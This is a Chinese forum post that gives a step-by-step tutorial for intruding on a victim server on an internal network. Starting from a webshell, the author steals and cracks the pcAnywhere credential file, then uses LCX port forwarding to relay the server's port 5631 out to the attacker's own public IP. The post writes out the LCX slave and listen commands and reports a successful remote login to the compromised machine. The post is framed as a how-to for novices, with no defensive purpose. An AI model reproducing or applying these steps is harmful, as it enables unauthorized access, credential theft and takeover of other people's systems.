[原创文章] pcanywhere之内网提权

pcanywhere

很多教程都是在外网直接连接的，像我这样的小菜没有这么好的命，我在用pcanywhere提权时问题总是多多，所以我今天做个在内网连接pcanywhere的简单教程。! d9 V, m+ b3 D- i, c1 D
0 W$ K+ b% F  _# Q
提权方法：pcanywhere+LCX9 z# l' ^( E) w- t; l% t4 a3 ^9 K

获得webshell的过程就不说了，该篇教程主要给新手讲下提权的思路。

在shell里看了下，WScript.shell等重要的组件没有被禁用，首先在有可执行读写权限的目录，上传个cmd试下可以运行。) V, {: t% P$ C9 V8 _, e
9 a1 H! i' |9 `, B/ ?/ Z
8 H1 Q/ b6 ~& e/ v
查看服务器开的端口时，发现服务器开了80、1433、5631等端口，并且服务器在内网。
: y$ E! U1 W. ?& v: n) d
% z3 i3 _% c* G$ o8 g1 }9 M
呵呵```pcanywhere的端口为5631，既然该站点有pcanywhere，我们可以试下用pcanywheere提权。于是就查下pcanywhere的目录下账号密码文件，下载到本地计算机上破解，呵呵```账号密码出来了。
& E' N+ O; T) n7 Z& q
( x  T6 U, w# e$ W

由于服务器在内网，那我们就要做端口转发，又要用到LCX啦``
  v' q/ |  P4 X5 `6 ]- ^/ N

LCX的用法再简单说下：
# h; Z9 V, s4 L; ~" Y+ ?
服务器上运行：lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX（服务器ip） XXXX（服务器需要转发出去的端口）

本地计算机上运行：lcx -listen XX(端口号) XXX（在自己机器上指定的端口）1 t  I" B8 k3 F  i2 p/ C
: @* Q9 }/ P/ Z% R
由于我的机器也在内网，LCX 转发端口到本地必须用公网ip，所以我还需要在路由器上简单设置下。1 u4 N' s# X. H9 v; n2 s" a' \
顺便说下如果大家的机器在外网就不必再做端口映射之类的啦``# e$ r" N1 i" s* C& c9 F( g. {0 U: a1 t
7 w' A; ]# Y9 \" A4 L5 B0 T
- v- J* e9 I# q9 f9 h& R! K

! S8 N4 _$ \: _: c0 T0 l
呵呵``在连接的过程中出现个小问题，由于我用的是pcanyshell10.5的版本，在连接的时候提示版本过低，那我们就用12.0的版本试下。
3 Y4 x5 Y# J( @! O  [
! V0 }# d* a5 b0 A8 Y. T
  }+ Z; t* @0 J6 C6 d. s

我们本地连接试试，输入我们刚破解的账号密码+ {1 K- S: \2 h- J( X( N9 }

呵呵``连接成功,服务器不错，又一个8核^︵^' [; }7 P5 e2 Z9 K. P2 x
# P+ K- W6 ^( B0 b1 R
7 l: X; ^  L3 c9 b0 G2 e3 L% Y) p

附件: 您需要登录才可以下载或查看附件。没有帐号？注册

1 评分人数